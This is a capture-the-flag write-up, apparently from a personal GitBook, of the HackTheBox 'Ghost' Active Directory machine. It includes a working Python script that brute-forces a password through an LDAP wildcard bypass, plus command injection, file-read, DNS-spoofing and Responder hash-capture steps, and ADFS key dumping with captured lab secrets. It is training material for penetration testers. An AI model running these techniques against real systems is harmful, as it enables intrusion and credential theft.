Dark_Man
LinkedInHTB ProfileAbout
  • Posts
    • 👨‍🎓Getting Started With HTB Academy
    • 💻Getting Started With HTB Platform
    • ☠️Crushing the HTB CPTS Exam in Record Time: Insights & Pro Tips
  • Windows machines
    • Easy
      • HTB - Support
      • HTB - Remote
      • HTB - Heist
      • HTB - Sauna
      • HTB- Access
      • HTB - Active
      • HTB - Forest
      • HTB - Timelapse
      • HTB - Mailing
      • HTB - EscapeTwo
      • HTB - Cicada
    • Medium
      • HTB - Authority
      • HTB - Escape
      • HTB - Manager
      • HTB - StreamIO
      • HTB - Cascade
      • HTB - Monteverde
      • HTB - Resolute
      • HTB - Sniper
      • HTB - Queier
      • HTB - Pov
      • HTB - Certified
      • HTB - Administrator
    • Hard
      • HTB - Reel
      • HTB - BlackField
      • HTB - Mantis
      • HTB - Search
      • HTB - Office
      • HTB - Flight
      • HTB -Acute
      • HTB - Vintage
    • Insane
      • HTB - Absolute
      • HTB - Sizzle
      • HTB - Ghost
      • HTB - Rebound
      • HTB - Mist
  • Linux machines
    • Easy
      • HTB - Wifinetic
    • Medium
      • HTB - Runner
      • HTB - WifineticTwo
      • HTB - Heal
    • Hard
    • Insane
Powered by GitBook
On this page
  • Enumeration
  • Shell as Root
  • Shell as florence.ramirez
  • Shell as justin.bradley
  • Shell as ADFS_CMSA$
  • Shell as mssql-service
  • Shell as SYSTEM
  • Parent Domain Compromise
  • Shell as Ghost Administrator
  1. Windows machines
  2. Insane

HTB - Ghost

PreviousHTB - SizzleNextHTB - Rebound

Last updated 7 months ago

Enumeration

Scope

IP Address: 10.10.11.24

Nmap Scan

┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Cascade]
└─$ nmap -p- --min-rate 10000 $ip -Pn 

PORT     STATE SERVICE       REASON
53/tcp   open  domain        syn-ack
80/tcp   open  http          syn-ack
88/tcp   open  kerberos-sec  syn-ack
135/tcp  open  msrpc         syn-ack
139/tcp  open  netbios-ssn   syn-ack
443/tcp  open  https         syn-ack
445/tcp  open  microsoft-ds  syn-ack
464/tcp  open  kpasswd5      syn-ack
636/tcp  open  ldapssl       syn-ack
1433/tcp open  ms-sql-s      syn-ack
2179/tcp open  vmrdp         syn-ack
3389/tcp open  ms-wbt-server syn-ack
5985/tcp open  wsman         syn-ack
8008/tcp open  http          syn-ack
8443/tcp open  https-alt     syn-ack
9389/tcp open  adws          syn-ack

┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Cascade]
└─$ sudo nmap  -sU -p1-10000 --min-rate 10000 $ip -Pn 

PORT    STATE SERVICE
53/udp  open  domain
88/udp  open  kerberos-sec
123/udp open  ntp
389/udp open  ldap

┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Ghost]
└─$ nmap -p53,80,135,139,443,445,1433,2179,3268,3269,3389,8008,8443,9389 $ip -sCV -oN Nmap/script-scan

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp  open  https?
445/tcp  open  microsoft-ds?
1433/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RC0+
|_ssl-date: 2024-07-29T21:03:47+00:00; +6s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-29T20:57:26
|_Not valid after:  2054-07-29T20:57:26
| ms-sql-info: 
|   10.10.11.24:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RC0+
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RC0
|       Post-SP patches applied: true
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   10.10.11.24:1433: 
|     Target_Name: GHOST
|     NetBIOS_Domain_Name: GHOST
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: ghost.htb
|     DNS_Computer_Name: DC01.ghost.htb
|     DNS_Tree_Name: ghost.htb
|_    Product_Version: 10.0.20348
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Not valid before: 2024-06-16T15:49:55
|_Not valid after:  2024-12-16T15:49:55
| rdp-ntlm-info: 
|   Target_Name: GHOST
|   NetBIOS_Domain_Name: GHOST
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: ghost.htb
|   DNS_Computer_Name: DC01.ghost.htb
|   DNS_Tree_Name: ghost.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2024-07-29T21:03:05+00:00
|_ssl-date: 2024-07-29T21:03:47+00:00; +6s from scanner time.
8008/tcp open  http          nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Ghost
|_http-generator: Ghost 5.78
| http-robots.txt: 5 disallowed entries 
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
8443/tcp open  ssl/http      nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: Ghost Core
|_Requested resource was /login
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=core.ghost.htb
| Subject Alternative Name: DNS:core.ghost.htb
| Not valid before: 2024-06-18T15:14:02
|_Not valid after:  2124-05-25T15:14:02
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg: 
|_  http/1.1
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel
* Open ports: 53,80,135,139,443,445,1433,2179,3268,3269,3389,8008,8443,9389
* UDP open ports: 53,88,123,389
* Services: DNS - HTTP - HTTPS - HTTP-PROXY - HTTP-ALT - KERBEROS - LDAP - RDP - MSSQL - winRM 
* Important notes:Domain_Name:ghost.htb DNS_Computer_Name:DC01.ghost.htb commonName=core.ghost.htb
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Rebound]
└─$ sudo sh -c "echo  '$ip DC01.ghost.htb ghost.htb core.ghost.htb DC01' >> /etc/hosts"

┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Rebound]
└─$ tail -n1 /etc/hosts
10.10.11.24 DC01.ghost.htb ghost.htb core.ghost.htb

DNS Enumeration

Zone transfer failed

┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Ghost]
└─$ dig axfr ghost.htb @$ip                                 

; <<>> DiG 9.19.19-1-Debian <<>> axfr ghost.htb @10.10.11.24
;; global options: +cmd
; Transfer failed.

RPC Enumeration

┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Rebound]
└─$ rpcclient -U '%' $ip

rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED

rpcclient $> enumdomgroups
result was NT_STATUS_ACCESS_DENIED

rpcclient $> srvinfo
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED

SMB Enumeration

┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Ghost]
└─$ smbclient -N -L //$ip/            
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.24 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)

┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Ghost]
└─$ crackmapexec smb $ip -u '' -p '' --shares                               

SMB         10.10.11.24     445    DC01             [+] ghost.htb\: 
SMB         10.10.11.24     445    DC01             [-] Error enumerating shares: STATUS_ACCESS_DENIED

┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Ghost]
└─$ crackmapexec smb $ip -u 'guest' -p '' --shares    

SMB         10.10.11.24     445    DC01             [-] ghost.htb\guest: STATUS_ACCOUNT_DISABLED 

KERBEROS Enumeration

┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/MultiMasters]
└─$ kerbrute userenum --dc $ip -d GHOST.HTB -t 100 /usr/share/wordlists/seclists/Usernames/jsmith.txt
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

2024/07/29 17:14:13 >  Done! Tested 48705 usernames (0 valid) in 60.867 seconds

LDAP Enumeration

ldapsearch -H ldap://$ip -x -b sub '*' "DC=ghost,DC=htb"

search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090C78, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4f7c

HTTP Enumeration

subdomain enumeration

┌──(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt:FUZZ -u http://ghost.htb:8008/ -H "Host: FUZZ.ghost.htb" -fs 0,7676 -c -t 100

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://ghost.htb:8008/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.ghost.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0,7676
________________________________________________

gitea             [Status: 200, Size: 13653, Words: 1050, Lines: 272, Duration: 180ms]
intranet          [Status: 307, Size: 3968, Words: 52, Lines: 1, Duration: 878ms]

http://10.10.11.24/

https://10.10.11.24/

http://10.10.11.24:8008/ running Ghost CMS with version 5.78


https://10.10.11.24:8443/login

When I tried to fuzzing directories with feroxbuster, It requests https://10.10.11.24:8443/api/login automatically

This URL & The Login Using AD Federation lead to this page:

https://federation.ghost.htb/adfs/ls/?SAMLRequest=<blob>

Don't forget to add federation to hosts files.

I don't have valid credentials for ADFS, So it's a dead end for now.


http://intranet.ghost.htb:8008/login

Looking at the authentication request, I found that the app use LDAP authentication, So I tried common bypass. username:*, password:*

It responded with invalid credentials message when providing any ones.

Authentication is bypassed with *:*

This is the page after logging-in.

There is important note here which is that I can only login to gitea with gitea_temp_principal account.

There is also users page with a list of usernames and their passwords

Make a wordlist of these users and try to find any valid domain account with them and found that they all are valid.

┌──(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ kerbrute userenum --dc 10.10.11.24 -d ghost.htb  users.list

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        


2024/08/26 23:51:01 >  [+] VALID USERNAME:       justin.bradley@ghost.htb
2024/08/26 23:51:01 >  [+] VALID USERNAME:       kathryn.holland@ghost.htb
2024/08/26 23:51:01 >  [+] VALID USERNAME:       beth.clark@ghost.htb
2024/08/26 23:51:01 >  [+] VALID USERNAME:       florence.ramirez@ghost.htb
2024/08/26 23:51:01 >  [+] VALID USERNAME:       arthur.boyd@ghost.htb
2024/08/26 23:51:01 >  [+] VALID USERNAME:       cassandra.shelton@ghost.htb
2024/08/26 23:51:01 >  [+] VALID USERNAME:       intranet_principal@ghost.htb
2024/08/26 23:51:01 >  [+] VALID USERNAME:       charles.gray@ghost.htb
2024/08/26 23:51:01 >  [+] VALID USERNAME:       robert.steeves@ghost.htb
2024/08/26 23:51:01 >  [+] VALID USERNAME:       jason.taylor@ghost.htb
2024/08/26 23:51:01 >  [+] VALID USERNAME:       gitea_temp_principal@ghost.htb

Under Forum, there are couples of conversations.

The most important conversation is this:

It seems like that user justin.bradley wants to execute a script but couldn't connect to bitbucket.ghost.htb because No DNS Entry is configured.

I went then to try logging in as gitea_temp_principal

I did know that there is a wildcard vulnerability on webapp but couldn't go any further, so with the help of community, I got a script to bruteforce the password by guessing each character one by one.

import string  
import requests  
from pwn import *  
  
url = 'http://intranet.ghost.htb:8008/login'  
bar = log.progress("Bruteforcing password")  
  
headers = {  
    'Host': 'intranet.ghost.htb:8008',  
    'Accept-Language': 'en-US,en;q=0.5',  
    'Next-Router-State-Tree': '%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D',  
    'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940',  
    'Accept-Encoding': 'gzip, deflate, br',  
    'Connection': 'keep-alive'  
}  
  
# Formdata  
files = {  
    '1_ldap-username': (None, 'gitea_temp_principal'),  
    '1_ldap-secret': (None, 's*'),  
    '0': (None, '[{},"$K1"]')  
}  
  
password = ""  
while True:  
    for char in string.ascii_lowercase + string.digits:  
        bar.status(f"trying {char} now for the next character...")  
        files = {  
            '1_ldap-username': (None, 'gitea_temp_principal'),  
            '1_ldap-secret': (None, f'{password}{char}*'),  
            '0': (None, '[{},"$K1"]')  
        }  
        res = requests.post(url, headers=headers, files=files)  
        if res.status_code == 303:  
            password += char  
            print(f"The current password is {password} + *")  
            break  
    else:  
        break  
      
bar.success(f"The final password is {password}")
┌──(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ python3 brute_force.py

..snip..
[+] Bruteforcing password: The final password is szrr8kpc3z6onlqf

I used this password along with user gitea_temp_principal to login in gitea


http://gitea.ghost.htb:8008/

After logged-in, I found these two repos.

The first repo. has exciting information

DEV_INTRANET_KEY and it is stored as an environment variable.

posts-public.js file, which allows us to extract additional information about the posts.

API key: a5af628828958c976a3b6cc81a

Reading posts-public.js showed me that require() function - which used in js to include files - takes a fs parameter and is passed to filecontent variable without any validation.

..snip..
            const posts = await postsService.browsePosts(options);
            const extra = frame.original.query?.extra;
            if (extra) {
                const fs = require("fs");
                if (fs.existsSync(extra)) {
                    const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
                    posts.meta.extra = { [extra]: fileContent };
                }
            }
            return posts;
..snip..

I didn't know this is the URL to request, So I searched in Ghost CMS docs and found something.

Contract the URL and try to include /etc/hosts and successfully done: )

I included /proc/self/environ file as the repo. said to get DEV_INTRANET_KEY

DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe

The second repo. has also interesting information.

dev API: http://intranet.ghost.htb/api-dev

under intranet/backend/src/api/dev/scan.rs there is an interesting code.


..snip..

// Scans an url inside a blog post
// This will be called by the blog to ensure all URLs in posts are safe
#[post("/scan", format = "json", data = "<data>")]
pub fn scan(_guard: DevGuard, data: Json<ScanRequest>) -> Json<ScanResponse> {
    // currently intranet_url_check is not implemented,
    // but the route exists for future compatibility with the blog
    let result = Command::new("bash")
        .arg("-c")
        .arg(format!("intranet_url_check {}", data.url))
        .output();

..snip..

It sends post request to /scan and executes bash command with argument -c for provided URLs.

bash -c 'http://anything.com'

So, I can exploit it by adding; and achieve command injection

bash -c 'http://anything.com'; whoami

Requirements:

  1. HTTP Method: POST

  2. Content-Type: application/json

  3. URL parameter in json format

  4. X-DEV-INTRANET-KEY header


Shell as Root

Get reverse shell.

I landed inside a docker container and found this file in root directory /

root@36b733906694:/# cat docker-entrypoint.sh 

#!/bin/bash

mkdir /root/.ssh
mkdir /root/.ssh/controlmaster
printf 'Host *\n  ControlMaster auto\n  ControlPath ~/.ssh/controlmaster/%%r@%%h:%%p\n  ControlPersist yes' > /root/.ssh/config

It's something like a configuration to connect to dev-workstation as florence.ramierz with SSH

root@36b733906694:/# ls /root/.ssh/controlmaster/ 

florence.ramirez@ghost.htb@dev-workstation:22

I tried to ssh with the above command without password and it worked.

root@36b733906694:~# ssh florence.ramirez@ghost.htb@dev-workstation

florence.ramirez@LINUX-DEV-WS01:~

I didn't find so much things as florence.ramirez user but I thought as I'm in Linux domain-joined host, maybe there is keytab for ccache files somewhere.


Shell as florence.ramirez

Typing klist showed the path of ccache file.

florence.ramirez@LINUX-DEV-WS01:~$ klist
Ticket cache: FILE:/tmp/krb5cc_50
Default principal: florence.ramirez@GHOST.HTB

Valid starting     Expires            Service principal
08/27/24 05:48:01  08/27/24 15:48:01  krbtgt/GHOST.HTB@GHOST.HTB
        renew until 08/28/24 05:48:01

Get the content of the ccache file and write them to my kali machine.

florence.ramirez@LINUX-DEV-WS01:~$ cat /tmp/krb5cc_50  | base64 
BQQADAABAAgAAAAAAAAAAAAAAAEAAAABAAAACUdIT1NULkhUQgAAABBmbG9yZW5jZS5yYW1pcmV6
AAAAAQAAAAEAAAAJR0hPU1QuSFRCAAAAEGZsb3JlbmNlLnJhbWlyZXoAAAABAAAAAwAAAAxYLUNB
Q0hFQ09ORjoAAAAVa3JiNV9jY2FjaGVfY29uZl9kYXRhAAAAB3BhX3R5cGUAAAAaa3JidGd0L0dI
T1NULkhUQkBHSE9TVC5IVEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEy
AAAAAAAAAAEAAAABAAAACUdIT1NULkhUQgAAABBmbG9yZW5jZS5yYW1pcmV6AAAAAgAAAAIAAAAJ
R0hPU1QuSFRCAAAABmtyYnRndAAAAAlHSE9TVC5IVEIAEgAAACB7axUNN8rI+/yau+9rJ8W3a1Wt
kPcSURNChc5AVuM6AGbNaJFmzWiRZs31MWbOuhEAAOEAAAAAAAAAAAAAAAAE6mGCBOYwggTioAMC
AQWhCxsJR0hPU1QuSFRCoh4wHKADAgECoRUw
..snip..

┌──(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ cat ticket.b64 | base64 -d > krb_50annew

Export the ticket to KRB5CCNAME variable and try to authenticate to the ghost machine.

┌──(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ export KRB5CCNAME=/home/kali/HackThebox/platform/machines/Ghost/krb_50annew 

┌──(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ klist                                                                                                 
Ticket cache: FILE:/home/kali/HackThebox/platform/machines/Ghost/krb_50annew
Default principal: florence.ramirez@GHOST.HTB

Valid starting     Expires            Service principal
08/27/24 01:42:01  08/27/24 11:42:01  krbtgt/GHOST.HTB@GHOST.HTB
        renew until 08/28/24 01:42:01

┌──(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ nxc smb ghost.htb -u florence.ramirez --use-kcache

SMB      10.10.11.24     445    DC01     [+] ghost.htb\florence.ramirez from ccache 

Now, I have valid domain account.

I can't log-in to the machine but will continue to enumerate the system remotely.

Looking at bloodhound, I found the following:

There are two domains not one: CORP.GHOST.HTB & GHOST.HTB and they trust each other as corp is child domain and ghost.htb is the parent.


Shell as justin.bradley

I have credentials now, So I can perform this attack to add dns record to make bitbucket.ghost.htb point to my IP address.

Attack details:

Adding malicious DNS record.

┌──(kali㉿kali)-[/opt/krbrelayx]
└─$ ./dnstool.py -u 'ghost.htb\florence.ramirez' -k -r 'bitbucket.ghost.htb' -d '10.10.16.9' -a add  dc01.ghost.htb
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Running responder on another tab, I got a hash for user justin.bradley

┌──(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ sudo responder -I tun0
[sudo] password for kali:                                                                                                                                                                                                                   
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

[HTTP] NTLMv2 Client   : 10.10.11.24
[HTTP] NTLMv2 Username : ghost\justin.bradley
[HTTP] NTLMv2 Hash     : justin.bradley::ghost:cee979f5c5dfbb06:5A91C5F924572AFBA30967D210AE40C6:010100000000000043F229024DF8DA01189FC6D0332AE4290000000002000800350037004A00380001001E00570049004E002D005300460058004C004B0039003800570054005700310004001400350037004A0038002E004C004F00430041004C0003003400570049004E002D005300460058004C004B003900380057005400570031002E00350037004A0038002E004C004F00430041004C0005001400350037004A0038002E004C004F00430041004C00080030003000000000000000000000000040000088A9C3B8328430CFA59A2377B1CBDA19558FAAAE53917BEC9F41EF23CA0015220A001000000000000000000000000000000000000900300048005400540050002F006200690074006200750063006B00650074002E00670068006F00730074002E006800740062000000000000000000
┌──(kali㉿kali)-[/opt/krbrelayx]
└─$ hashcat -m 5600 ntlm.hash /usr/share/wordlists/rockyou.txt  

JUSTIN.BRADLEY::ghost:cee979f5c5dfbb06:5a91c5f924572afba30967d210ae40c6:010100000000000043f229024df8da01189fc6d0332ae4290000000002000800350037004a00380001001e00570049004e002d005300460058004c004b0039003800570054005700310004001400350037004a0038002e004c004f00430041004c0003003400570049004e002d005300460058004c004b003900380057005400570031002e00350037004a0038002e004c004f00430041004c0005001400350037004a0038002e004c004f00430041004c00080030003000000000000000000000000040000088a9c3b8328430cfa59a2377b1cbda19558faaae53917bec9f41ef23ca0015220a001000000000000000000000000000000000000900300048005400540050002f006200690074006200750063006b00650074002e00670068006f00730074002e006800740062000000000000000000:xxxxxxxxx

Session..........: hashcat
Status...........: Cracked

I checked the ability to access the machine with that user and I can :).

┌──(kali㉿kali)-[/opt/krbrelayx]
└─$ nxc winrm ghost.htb -u justin.bradley -p 'xxxxxxxxxxxx'

WINRM  10.10.11.24  5985   DC01  [+] ghost.htb\justin.bradley:xxxxxxxxxxx (Pwn3d!)

Access the machine and get user flag.

*Evil-WinRM* PS C:\Users\justin.bradley> type Desktop/user.txt                                                                                               
aee843877a5604ebfxxxxxxxxxxxxxxx

User Flag: aee843877a5604ebfc309xxxxxxxxxxxxxx


Shell as ADFS_CMSA$

Looking at bloodhound.py, I can ReadGMSAPassword of ADFS_GMSA$ user

So, I can extract GMSA secrets and the easiest way to do this is my NetExec

ADFS_GMSA$ account CanPSRemote to the machine, too.

ADFS account can extract ADFS secrets. Check the following post for details.

*Evil-WinRM* PS C:\programdata> .\ADFSDump.exe
    ___    ____  ___________ ____
   /   |  / __ \/ ____/ ___// __ \__  ______ ___  ____
  / /| | / / / / /_   \__ \/ / / / / / / __ `__ \/ __ \
 / ___ |/ /_/ / __/  ___/ / /_/ / /_/ / / / / / / /_/ /
/_/  |_/_____/_/    /____/_____/\__,_/_/ /_/ /_/ .___/
                                              /_/
Created by @doughsec


## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7


[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1

## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
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